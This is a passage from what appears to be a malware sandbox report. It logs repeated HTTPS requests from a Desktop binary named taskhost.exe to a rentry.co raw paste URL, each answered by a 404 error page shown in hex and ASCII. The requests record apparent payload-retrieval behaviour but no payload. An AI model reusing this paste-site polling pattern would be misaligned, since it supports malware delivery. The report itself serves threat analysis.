2024-12-13 10:50:11 UTC	1369	IN	Data Raw: 61 74 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 Data Ascii: atches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribute
2024-12-13 10:50:11 UTC	1224	IN	Data Raw: 6f 64 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: ode"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:50:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49943	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:50:14 UTC	47	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co
2024-12-13 10:50:15 UTC	875	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:50:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RDYF3hJ3%2FLOA83tMhpfnKr7%2FCrhrrj%2BVpmihWRIr2GxUK%2Bc66ipayGBNkhljLpJO6LokekYQEGazsgltDbJX0zWTE4rbTFrM%2BYuQLNflAGe95zO%2ByTRcbFtrrg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1564635accc425-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1501&rtt_var=611&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1945369&cwnd=240&unsent_bytes=0&cid=ebbe48cb0f259ebb&ts=844&x=0"
2024-12-13 10:50:15 UTC	494	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:50:15 UTC	1369	IN	Data Raw: 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f Data Ascii: > <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https:/
2024-12-13 10:50:15 UTC	1369	IN	Data Raw: 22 29 2e 6d 61 74 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 Data Ascii: ").matches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttri
2024-12-13 10:50:15 UTC	1228	IN	Data Raw: 68 74 20 6d 6f 64 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 Data Ascii: ht mode"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:50:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49954	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:50:18 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:50:19 UTC	874	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:50:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c0t%2BXXvw4qlptC70lkohDIpuzR3f5bkibCxLG54AslyzhdxTwNeGop%2BXwLNg9S8IJ%2Fxb0udTPOpaeUlbB4IqPozxvTDC%2BznwQEvhRuWcrMs%2Fm%2FJ5zTmQLmHj9w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f15647ca895431b-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1688&min_rtt=1688&rtt_var=844&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4174&recv_bytes=685&delivery_rate=342200&cwnd=177&unsent_bytes=0&cid=28a45104d1297ad1&ts=584&x=0"
2024-12-13 10:50:19 UTC	495	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:50:19 UTC	1369	IN	Data Raw: 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://
2024-12-13 10:50:19 UTC	1369	IN	Data Raw: 29 2e 6d 61 74 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 Data Ascii: ).matches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttrib
2024-12-13 10:50:19 UTC	1227	IN	Data Raw: 74 20 6d 6f 64 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 Data Ascii: t mode"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:50:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49965	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:50:22 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:50:23 UTC	867	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:50:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D%2FE2LuRHj2iXYk4D6AIicwxStEq9QjeG3cdW2RQNxwETnijMlwVWBWSDt42wqfmwIoJgcJHah9jA9UVRYlJtEbekvHOeHfcKEbmZHWJWmaQzzK216wq3yoaq%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f156492ea3b421c-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1582&min_rtt=1568&rtt_var=617&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1733966&cwnd=252&unsent_bytes=0&cid=42b037226ab416b4&ts=818&x=0"
2024-12-13 10:50:23 UTC	502	IN	Data Raw: 31 31 36 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1163<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:50:23 UTC	1369	IN	Data Raw: 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e Data Ascii: eta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://rentry.
2024-12-13 10:50:23 UTC	1369	IN	Data Raw: 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 Data Ascii: es \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribute('da
2024-12-13 10:50:23 UTC	1219	IN	Data Raw: 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 Data Ascii: ></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:50:23 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-12-13 10:50:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49976	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:50:25 UTC	47	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co
2024-12-13 10:50:26 UTC	873	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:50:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rVCCjmWhFJSmeka4%2BeBAECG3RE5Ms3f4pcqCXrxkB0Egw7mY4I%2BAIpkTNmV4aHDDZ%2FwtyZLybV%2FDmWWYMSHe9iH1X1gpNyOCHZdZE33ZmV%2FuYcujupJD5rlCRQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1564a9bd580f9d-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1601&rtt_var=626&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2818&recv_bytes=685&delivery_rate=1713615&cwnd=193&unsent_bytes=0&cid=155000c2e1fe942f&ts=819&x=0"
2024-12-13 10:50:26 UTC	496	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:50:26 UTC	1369	IN	Data Raw: 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 Data Ascii: <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://r
